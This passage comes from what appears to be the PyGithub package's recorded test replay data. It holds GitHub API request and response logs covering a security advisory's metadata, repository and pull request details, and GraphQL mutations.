('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4993'), ('X-RateLimit-Reset', '1691789072'), ('X-RateLimit-Used', '7'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '86FA:9C0A:1F6A7B4:4032C2B:64D69F91')] {"ghsa_id":"GHSA-cx3j-qqxj-9597","cve_id":"CVE-2023-3481","url":"https://api.github.com/advisories/GHSA-cx3j-qqxj-9597","html_url":"https://github.com/advisories/GHSA-cx3j-qqxj-9597","summary":"Critters Cross-site Scripting Vulnerability","description":"### Impact\nCritters version 0.0.17-0.0.19 have an issue when parsing...","type":"reviewed","severity":"high","repository_advisory_url":"https://api.github.com/repos/GoogleChromeLabs/critters/security-advisories/GHSA-cx3j-qqxj-9597","source_code_location":"https://github.com/GoogleChromeLabs/critters","identifiers":[{"value":"GHSA-cx3j-qqxj-9597","type":"GHSA"},{"value":"CVE-2023-3481","type":"CVE"}],"references":["https://github.com/GoogleChromeLabs/critters/security/advisories/GHSA-cx3j-qqxj-9597","https://github.com/GoogleChromeLabs/critters/pull/133","https://github.com/GoogleChromeLabs/critters/commit/7757902c9e0b3285d516359b3cb602cd9d50d80e","https://github.com/advisories/GHSA-cx3j-qqxj-9597"],"published_at":"2023-08-11T18:57:53Z","updated_at":"2023-08-11T18:57:54Z","github_reviewed_at":"2023-08-11T18:57:53Z","nvd_published_at":null,"withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"critters"},"vulnerable_version_range":">= 0.0.17, <= 0.0.19","first_patched_version":"0.0.20","vulnerable_functions":[]}],"cvss":{"vector_string":null,"score":null},"cwes":[{"cwe_id":"CWE-80","name":"Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)"},{"cwe_id":"CWE-116","name":"Improper Encoding or Escaping of Output"}],"credits":[]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GraphQl.testDefaultUrl.txt0000644000175100001660000005732714756101563023241 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sat, 20 Jan 2024 09:58:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"8d3a8781cb083ecf6b9194272a6522af705bd0d8c5bbaa959618b6d51725387e"'), ('Last-Modified', 'Sat, 20 Jan 2024 06:37:31 GMT'), ('github-authentication-token-expiration', '2024-02-19 10:58:06 +0100'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-accepted-github-permissions', 'metadata=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1705746614'), ('X-RateLimit-Used', '2'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B70C:505BC:14BDE07A:14F6AE81:65AB9959')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-01-20T06:37:31Z","pushed_at":"2024-01-19T20:38:15Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15500,"stargazers_count":6484,"watchers_count":6484,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1715,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":288,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1715,"open_issues":288,"watchers":6484,"default_branch":"main","permissions":{"admin":false,"maintain":false,"push":true,"triage":true,"pull":true},"custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1715,"subscribers_count":111} https GET api.github.com None /repos/PyGithub/PyGithub/pulls/31 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sat, 20 Jan 2024 09:58:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"add6f9aeb7d78b7a86d664f8107ca57bac6312a49fa4a9279afaebe7180405e5"'), ('Last-Modified', 'Thu, 21 Sep 2023 07:32:37 GMT'), ('github-authentication-token-expiration', '2024-02-19 10:58:06 +0100'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-accepted-github-permissions', 'pull_requests=read; contents=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1705746614'), ('X-RateLimit-Used', '3'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B714:354E89:774D594:78D06E8:65AB995A')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31","id":1436215,"node_id":"MDExOlB1bGxSZXF1ZXN0MTQzNjIxNQ==","html_url":"https://github.com/PyGithub/PyGithub/pull/31","diff_url":"https://github.com/PyGithub/PyGithub/pull/31.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/31.patch","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/31","number":31,"state":"closed","locked":false,"title":"Title edited by PyGithub","user":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"body":"Body edited by PyGithub\n","created_at":"2012-05-27T09:25:36Z","updated_at":"2018-06-25T12:54:43Z","closed_at":"2012-05-27T10:29:07Z","merged_at":"2012-05-27T10:29:07Z","merge_commit_sha":"28ae6dd10ebccd5eaf8db8dacb5b699ee7f4a663","assignee":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"assignees":[{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false}],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"draft":false,"commits_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31/commits","review_comments_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31/comments","review_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments{/number}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/31/comments","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/8a4f306d4b223682dd19410d4a9150636ebe4206","head":{"label":null,"ref":"master","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","user":null,"repo":null},"base":{"label":"PyGithub:topic/RewriteWithGeneratedCode","ref":"topic/RewriteWithGeneratedCode","sha":"ed866fc43833802ab553e5ff8581c81bb00dd433","user":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"repo":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-01-20T06:37:31Z","pushed_at":"2024-01-19T20:38:15Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15500,"stargazers_count":6484,"watchers_count":6484,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1715,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":288,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1715,"open_issues":288,"watchers":6484,"default_branch":"main"}},"_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/31"},"issue":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/31"},"comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/31/comments"},"review_comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31/comments"},"review_comment":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31/commits"},"statuses":{"href":"https://api.github.com/repos/PyGithub/PyGithub/statuses/8a4f306d4b223682dd19410d4a9150636ebe4206"}},"author_association":"MEMBER","auto_merge":null,"active_lock_reason":null,"merged":true,"mergeable":false,"rebaseable":false,"mergeable_state":"dirty","merged_by":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"comments":1,"review_comments":2,"maintainer_can_modify":false,"commits":3,"additions":511,"deletions":384,"changed_files":45} https POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "mutation Mutation($input: DisablePullRequestAutoMergeInput!) { disablePullRequestAutoMerge(input: $input) { actor { avatarUrl login resourcePath url } clientMutationId } }", "variables": {"input": {"pullRequestId": "MDExOlB1bGxSZXF1ZXN0MTQzNjIxNQ=="}}} 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jun 2023 08:27:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1573389419d98a2b3d9a6b1fc058a68f1fc3d31108ccfdab8ca4121153626211"'), ('Last-Modified', 'Wed, 07 Jun 2023 04:02:03 GMT'), ('X-OAuth-Scopes', 'public_repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4959'), ('X-RateLimit-Reset', '1686126614'), ('X-RateLimit-Used', '41'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8A96:10854:895AE2:8AB25B:64803F81')] {"data": {"disablePullRequestAutoMerge": {"actor": {"avatarUrl": "https://avatars.githubusercontent.com/u/14806300?u=786f9f8ef8782d45381b01580f7f7783cf9c7e37&v=4", "login": "heitorpolidoro", "resourcePath": "/heitorpolidoro", "url": "https://github.com/heitorpolidoro"}, "clientMutationId": null}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GraphQl.testMutation.txt0000644000175100001660000000337014756101563022757 0ustar00runnerdockerhttps POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "mutation Mutation($input: FollowOrganizationInput!) { followOrganization(input: $input) { organization { name } } }", "variables": {"input": {"organizationId": "O_kgDOAKxBpA"}}} 200 [('Date', 'Wed, 18 Sep 2024 08:32:30 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org, user:follow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4985'), ('X-RateLimit-Reset', '1726649567'), ('X-RateLimit-Used', '15'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7FCF:3E9DF7:5C04D:5CF8C:66EA901E')] {"data":{"followOrganization":{"organization":{"name":"PyGithub"}}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GraphQl.testMutationClass.txt0000644000175100001660000000337014756101563023745 0ustar00runnerdockerhttps POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "mutation Mutation($input: FollowOrganizationInput!) { followOrganization(input: $input) { organization { name } } }", "variables": {"input": {"organizationId": "O_kgDOAKxBpA"}}} 200 [('Date', 'Wed, 18 Sep 2024 08:33:14 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org, user:follow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4984'), ('X-RateLimit-Reset', '1726649567'), ('X-RateLimit-Used', '16'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, 